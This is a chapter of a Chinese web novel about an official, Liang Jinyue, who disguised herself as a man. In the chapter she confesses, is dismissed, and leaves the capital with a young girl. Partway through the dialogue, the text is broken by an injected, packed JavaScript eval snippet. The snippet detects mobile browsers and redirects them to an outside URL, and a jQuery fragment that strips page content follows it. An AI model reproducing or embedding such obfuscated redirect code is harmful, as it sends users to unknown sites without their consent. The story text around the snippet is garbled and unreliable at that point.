15. 第 15 章

作品:《意相投

    底下群臣傻眼:


    “女…女扮男装?!”


    “梁评事竟是女子?!”


    “这怎么可……也不是没有这个可能!”


    吕从安皱眉,上前一步:


    “陛下,梁评事自入大理寺以来,勤勉尽责,其心性能力,臣等皆亲眼所见,这其中是不是有什么误会?”


    “怎么不说话?”


    皇帝将身体后仰,她慢条斯理地用梁今越质问她的话,原封不动地砸了回来:


    “莫非是装男人装的久,也忘了自己本不是个男人了?”


    “……”


    梁今越敬佩道:


    “陛下您要是去做买卖,肯定半点亏都吃不着。”


    这人也忒记仇了吧?


    站在皇帝身侧的杜令萱忍不住轻咳一声:


    “咳咳”


    梁今越正了正神色,躬身行礼:


    “陛下明察秋毫,臣确是女子。欺君之罪,草民认罚,绝无怨言。”


    *


    初夏的阳光有些刺眼,照在缓慢关闭的沉重宫门上。


    梁今越眯了眯眼,适应着外面的光亮。


    “梁今越。”


    一个熟悉的声音在身后响起。


    梁今越回头,只见吕从安快步走下台阶,来到她面前。


    这位素来铁面冷峻的上司,此刻却面色担忧:


    “你究竟是怎么想的?陛下又怎会…”


    “陛下的处置,合乎情理。欺君一事,往小了说,不过是顶了个名字,可往大了说,它关乎的是天子威仪和朝廷法度……”


    梁今越眼神明亮又坚定:


    “陛下需要给这满朝文武一个交代,所以,这个罚我必须要认。”


    梁今越整了整衣衫,张开双臂,仿佛要拥抱这广阔天地,声音没有对前途的迷茫,只有即将奔向自由的兴奋:


    “可如今天大地大,我梁今越能去任何地方、能做任何事情,更能成为任何人!这,又怎么能称得上是‘罚’呢?”


    象征着官身的鱼带和官袍被卸下,她现在浑身只剩下一身素白的交领长衫,头发仍像来时那样高高束起,此刻却能教人一眼便能瞧出性别。


    这分明就是个生的高大英气些的小娘子嘛。


    吕从安晃了晃头,心中暗叹,她真是被这接连不断的下雨天把脑袋给浇成浆糊了,居然这么久都没有看出来。


    官场对这样心在苍穹的女子而言,何尝不是另一种金枷玉锁的牢笼?


    吕从安心中的惋惜顿然消散。


    梁今越对着这位曾经的上司,郑重地行了最后一个揖礼:


    “吕寺卿,保重。工造司新立,肃贪未尽,路还长,您多费心。”


    海阔凭鱼跃,天高任鸟飞。


    离京前的梁今越又去了趟文思院。


    此刻文思院那方并不宽敞的院子里挤满了人,站在最中央中央的绯色官员,正手持明黄绢帛,大声地宣读着。


    “……即日起,革除匠籍,新设‘工造司’,尔等皆改籍为民,今后按技艺高低、工量多寡,核发实俸,子弟可入学科举,前途自择……”


    “脱籍了?我们…我们不再是匠户了?”


    “实俸!是实俸!我们有真正的工钱了!”


    “苍天有眼!苍天有眼啊!”


    匠人们抱在一起,又哭又笑。


    梁今越站在院门外的阴影里,嘴角翘起。


    宣读圣旨的黎颉显然也被这场景触动,含笑将目光扫过人群,恰好看到了门外那抹靛青色的身影后微微一怔。


    黎颉:“!!!”


    梁今越:“???”


    他分开人群,大步走到梁今越面前,深深一揖,声音激动:


    “诸位!静一静,静一静!你们可知,这破天荒的恩典是谁换来的?”


    黎颉抬起手掌指向梁今越:


    “就是这位!”


    所有人的目光瞬间聚焦到梁今越身上。


    梁今越扬起脸,冲众人拱手。


    这边的黎颉还在开始进行他的朗诵:


    “她不畏强权,彻查冤案,她揪出巨贪,为草芥申冤,她……”


    站在前面的孙把头觉得梁今越有些眼熟,凑上去仔仔细细地打量着梁今越的脸:


    “你是梁评事?还是梁小满?”


    梁今越笑了两声:


    “哈哈,您老这眼神还是一如既往地好使。”


    “啥?梁小满?”


    人群一阵骚动,匠人们前呼后拥的往前面挤。


    “哎呦喂!我就说眼熟!这不是…这不是那天在库房后头扬言要改天换日的那孩子吗?”


    “还真是‘小满’!我也见过她!”


    “那天她一下就举起了桌案那么大的石料。”


    “她还帮俺抬过柱子呢!力气大得很!”


    “当时我就纳闷,这小娘子的眼神忒亮,不像是能在文思院待得久的……”


    孙把头看着梁今越如今一身女装,又看看她明亮坦然的眼睛,立刻就明白了,欣慰道:


    “我们匠人身上的金枷锁脱了,梁评事心里的锁也脱了下来,这是双喜啊。”


    梁今越对着匠人们郑重地抱拳一礼,声音清亮:


    “枷锁已破,诸位师傅,好日子还在后头呢!”


    城门口人流如织,守城的兵卒例行公事地盘查着出入的行人。


    “这位小娘子,出城去往何处?可有路引?”


    眼前的人梳着时下京中女郎最爱梳的双蟠髻,头上用珍珠和绒花点缀,上身穿着一件柳绿色的窄袖短襦,下身是一条樱草粉百迭裙,外罩一件水绿色的短袖褙子,看起来清清爽爽,生机盎然。


    梁今越今越坦然一笑,正要拿出早已备好的以路引,一个略带急促的声音自身后响起:


    “梁评事!请留步!”


    梁今越闻声回头,只见一人正从人流中快步挤过来,不是黎颉还能是谁。


    他依旧穿着那身宣旨时的官服,额角带着细汗,显然是匆忙赶来的。


    守卫认得这位穷的人畜皆知的黎少监,连忙行礼:


    “黎大人!”


    黎颉摆摆手,示意守卫走远点,他走到今越面前,一脸歉意,深深一揖:


    “梁评事……对不住。我我没想到,此事最终会累得落得如此境地。”


    他指的是她被逐出京城之事。


    若不是他非要将证据交给梁今越,或许她还能安稳地做她的大理评事。


    “黎少监不必道歉,怎么说都怪不着你。”


    梁今越看着街上来往的人流:


    “其实,女扮男装一事,是我主动向陛下坦白的。”


    “什么?!”


    黎颉猛地抬头,一


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15847969|175517||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    脸震惊:


    “你主动……?为何要这样?”


    “变革之事,牵扯太多人的利益。今日我梁今越以大理评事之身,在金殿上可以指着陛下的鼻子质问‘忘本’,若陛下不加以严惩,


    “那明日,后日,是不是任何一个官员,都可以凭着满腔热血和自认为的‘公理’,在朝堂之上效仿此举,对天子和朝纲指手画脚,肆意冲撞?”


    梁今越叹了口气:


    “陛下罚我,何尝不是在保护我,免得我这个‘始作俑者’留在京城成为众矢之的。”


    黎颉彻底怔住了。


    他对着今越郑重地躬身一揖,表情带着前所未有的敬重:


    “梁姑娘…黎颉…受教了,您竟已将帝王心术、朝堂平衡看得如此透彻,姑娘之胸襟气度,黎某望尘莫及!”


    梁今越被他突然的动作吓了一跳,这人怎么这么喜欢夸人?天天饭都吃不起了嗓门还这么大。


    什么帝王心术的,当然是帝王自己想的,她就是个学话的而已,梁今越心虚地揪了揪袖子。


    “黎少监也不赖,自己省吃俭用把俸禄尽数接济那些困苦匠人,这可不是一般人能坚持得住的。”


    黎颉脸上闪过一丝赧然,低声道:


    “杯水车薪,不足挂齿。”


    他过身,让出了身后一直遮挡住的影子般的身影。


    “梁姑娘,”


    黎颉的声音带着恳求,


    “我想请你帮我最后一个忙。”


    今越的目光落在那道身影上,原来秦素衣的女儿,采苓。


    小姑娘穿着干净合身的新衣裳,小脸依旧有些苍白,她怯生生地躲在黎颉身后,眼睛一眨不眨地看着梁今越。


    黎颉抬头看向今越,眼神复杂:


    “这孩子……她不想留在京城了。”


    采苓将嘴抿得紧紧的,一味地用力点头。


    黎颉顿了顿,语气恳切道:


    “梁姑娘,我知道这很唐突。可这孩子天赋极好,又经历了这般变故,留在京城,我怕那些人不会放过她,也怕她睹物思人,难以走出阴影。跟着你,或许能有个新的开始。”


    梁今越弯下腰,与采苓平视,爽朗笑道:


    “想跟我走?离开京城,可能会很辛苦,要去很远的地方。”


    对上梁今越温和鼓励的眼睛,采苓用力地点头:


    “我不怕辛苦!我想跟着姐姐,我很会画画,一定能能帮姐姐的忙的!”


    梁今越大笑着在采苓细软的头发囫囵了一把:


    “好,这孩子,我带着了。”


    黎颉如释重负,眼中充满了感激:


    “多谢梁姑娘!大恩不言谢!”


    今越站起身,牵起采苓比她小了一圈的手,对黎颉道:


    “黎大人也保重,如今工造司初立,百废待兴,你肩上的担子,可就更重了。”


    黎颉郑重地点头:


    “黎颉定不负姑娘今日所望。”


    梁今越不再多言,对黎颉颔首致意后旁边等候的守卫出示了路引。


    守卫虽然好奇这绿裙小娘子和这黎少监适合关系,又为何带着个孩子离京,但见黎颉在旁,又有路引,便不再多问,挥手放行。


    城门下,一大一小两道身影渐行渐远。


    新的旅程,新的羁绊,已然开启。


    第一卷?终